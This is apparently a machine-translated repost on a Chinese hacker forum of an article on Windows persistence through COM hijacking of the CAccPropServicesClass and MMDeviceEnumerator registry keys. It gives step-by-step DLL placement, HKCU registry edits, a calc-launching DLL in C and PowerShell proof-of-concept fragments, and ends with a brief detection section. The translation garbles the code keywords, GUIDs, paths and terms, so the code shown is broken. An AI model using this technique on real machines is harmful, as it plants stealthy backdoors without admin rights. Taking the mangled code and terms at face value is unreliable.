跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用COM对象劫持来保持持久性——劫持CacPropServiceClass和MMDeviceEnumerator


Tenfk

推荐的帖子

0x00 前言

之前《Use CLR to maintain persistence》的文章介绍了劫持all的方法。Net程序,可以作为没有管理员权限的后门。美中不足的是,通过WMI添加环境变量需要重启系统。

本文将继续介绍使用后门的另一种方法。原理差不多,但好处是不需要重启系统,也不需要管理员的权限。

注:

本文介绍的方法已被木马程序利用。

详细介绍地址:

https://www . gdata software . com/blog/2014/10/23941-com-object-jacking-the-discreet-the-way-of-persistent

0x01 简介

本文将介绍以下内容:

后门

POC编写

防御探测

0x02 COM组件

COM组件对象模型代表组件对象模型。

COM组件由以DLL和EXE形式发布的可执行代码组成。

COM与语言和平台无关。

COM组件对应于注册表中CLSID下的注册表项值。

0x03 后门思路

注:

这个想法来自于3359 www . gdata software . com/blog/2014/10/23941-com-object-hicking-the-confidential-way-of-persistence。

类似于利用CLR劫持的方法。它还通过修改CLSID下的注册表项劫持CAccPropServicesClass和MMDeviceEnumerator。系统中很多正常程序在启动时都需要调用这两个实例,所以这种方法可以作为后门,这种方法也可以绕过Autoruns对启动项的检测。

32位系统利用方法:

1、新建文件

在% appdata % \ Microsoft \ installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e }中放置测试dll,并将其重命名为API-MS-Win-Down Level-[4c har-Random]-L1-1-0。_ DL。

注:

测试dll下载地址:https://github.com/3gstudent/test/blob/master/calc.dll

重新命名API-MS-Win-Down Level-1x 86-L1-1-0。_ dl

如下图

1-1.png

2、修改注册表

注册表位置:HKCU \软件\类\CLSID\

创建项目{ b5f 8350 b-0548-48 B1-A6EE-88bd 00 B4 a5e 7 }

在进程服务器中创建子进程32

的默认键值是测试dll的绝对路径:

c:\ Users \ a \ AppData \ Roaming \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } \ API-ms-win-down level-1x 86-L1-1-0。_dl

创建键值:ThreadingModel REG_SZ公寓

注册表内容如下

1-2.png

3、测试

启动iexplore.exe,触发后门,并启动calc.exe几次,最终导致系统崩溃。

启动过程多次调用实例CAccPropServicesClass(),导致多个calc.exe启动,最后系统崩溃。

4、优化

您可以在dll中添加一个互斥体来防止重复加载,并且只启动一次calc.exe。

代码c是:

#pragma注释(链接器,'/OPT:nowin98 ')

BOOL TestMutex()

{

HANDLE hMutex=CreateMutex(NULL,false,'我自己');

if(GetLastError()==ERROR _ ALREADY _ EXISTS)

{

close handle(hMutex);

返回0;

}

返回1;

}

BOOL APIENTRY DllMain(处理hModule,

呼叫的原因,

LPVOID lpReserved

)

{

开关(ul_reason_for_call)

{

案例DLL_PROCESS_ATTACH:

if(TestMutex()==0)

返回TRUE

WinExec('calc.exe ',SW _ show normal);

案例DLL_THREAD_ATTACH:

案例DLL_THREAD_DETACH:

案例DLL_PROCESS_DETACH:

打破;

}返回TRUE

}

优化方法参考:https://3gstudent.github.io/Use-Office-to-maintain-persistence

编译后的大小是3k。如果dll被多次加载,由于互斥的关系,它只会被加载一次,也就是说,calc.exe只会被启动一次。

编译的dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

使用新的dll,再次测试,并只启动一次calc.exe,如下图所示。

2-1.png

64位系统利用方法:

1、新建文件

在% appdata % \ Microsoft \ installer \ { bcde 0395-e52f-467 c-8e3d-c 4579291692 e } \下,分别放置32位和64位测试dll。

32位dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

重新命名API-MS-Win-Down Level-1x 86-L1-1-0。_ dl

64位dll下载地址:

https://github . com/3g student/test/blob/master/calc mutex _ x64 . dll

重新命名API-MS-Win-Down Level-1x 64-L1-1-0。_ dl

2、修改注册表

(1)

注册表位置:HKCU \软件\类\CLSID\

创建项目{ b5f 8350 b-0548-48 B1-A6EE-88bd 00 B4 a5e 7 }

在进程服务器中创建子进程32

的默认键值是64位dll的绝对路径:

c:\ Users \ a \ AppData \ Roaming \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } \ API-ms-win-down level-1x 64-L1-1-0 ._dl

创建键值:ThreadingModel REG_SZ公寓

注册表内容如下图

2-2.png

(2)

注册表位置:HKCU \软件\类\ Wow6432Node节点节点\CLSID\

创建项{ bcde 0395-E52F-467 c-8E3D-c 4579291692 e }

创建子项InprocServer32

默认的键值为32位动态链接库路径:

c:\ Users \ a \ AppData \ Roaming \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } \ API-ms-win-down level-1x 86-L1-1-0 ._dl

创建键值:ThreadingModel REG_SZ公寓

注册表内容如下图

2-3.png

3、测试

分别启动32位和64位的iexplore.exe,均可触发后门,启动一次calc.exe

测试成功

注:

{ b5f 8350 b-0548-48 B1-a6ee-88bd 00 B4 a5e 7 }对应caccpropservicessclass

参考链接:

https://msdn。微软。com/en-us/library/accessibility。caccpropservicesclass(v=vs . 110).aspx?cs-save-lang=1cs-lang=CPP #代码片段-1

{ bcde 0395-E52F-467 c-8E3D-c 4579291692 e }对应MMDeviceEnumerator

参考链接:

http://msdn。微软。com/en-us/library/windows/desktop/DD 316556(v=vs . 85).aspx

0x04 POC编写

无线一键通开发需要注意的细节:

1、操作默认不一定包含文件夹

需要先判断文件夹%APPDATA%\Microsoft\Installer\

如果没有,在%APPDATA%\Microsoft\下创建文件夹安装程序

如果(测试路径% APPDATA % \ Microsoft \ Installer \)-eq 0)

{

写主机'[ ]创建文件夹:$ env:APPDATA \ Microsoft \ Installer

new-item-path $ env:APPDATA \ Microsoft \-name安装程序类型目录

}

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

由于包含特殊字符{},需要双引号包含路径

如果(测试路径" % APPDATA % \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } ')-eq 0)

{

写主机'[ ]创建文件夹:$ env:APPDATA \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } '

new-item-path $ env:APPDATA \ Microsoft \ Installer-name { bcde 0395-E52F-467 c-8E3D-c 4579291692 e }-类型目录

}

3、创建payload文件

首先判断操作系统

如果([环境]:Is64BitOperatingSystem)

{

写主机'[ ]操作系统:x64 '

}

其他

{

写主机"[ ]操作系统:x86 "

}

不同系统释放不同文件

释放文件依旧使用base64,可参考文章:https://3g学生。github。io/使用-办公-维护-持久性

4、创建注册表

修改注册表默认值,如下图

3-1.png

在powershell下,需要使用特殊变量'默认设置'

例如:

$RegPath='HKCU:软件\类\CLSID '

新项目属性$ RegPath " { b5 f 8350 b-0548-48 B1-a6ee-88 BD 00 B4 a5e 7 } \ in proc server 32 ' '(默认)'-value $ env:APPDATA ' \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } \ API-ms-win-down level-1x 86-L1-1-0 ._ dl '-属性类型字符串| Out-Null

完整无线一键通已上传至Github,地址为:https://github。COM/3g学生/COM-对象劫持

0x05 防御检测

结合利用方法,注意监控以下位置:

1、注册表键值

HKCU软件\类\ CLSID { b5f 8350 b-0548-48 B1-a6ee-88 BD 00 B4 a5e 7 } \

HKCU软件\类\ wow 6432节点\ CLSID { bcde 0395-E52F-467 c-8E3D-c 4579291692 e }

2、文件路径

% APPDATA % \ Roaming \ Microsoft \ Installer \ { bcde 0395-E52F-467 c-8E3D-c 4579291692 e } \

命名方式:API-ms-win-down level-[4c har-random]-L1-1-0 ._dl

0x06 小结

本文介绍了通过计算机输出缩微胶片对象劫持实现的后门利用方法,使用powershell脚本编写POC,分享无线一键通开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...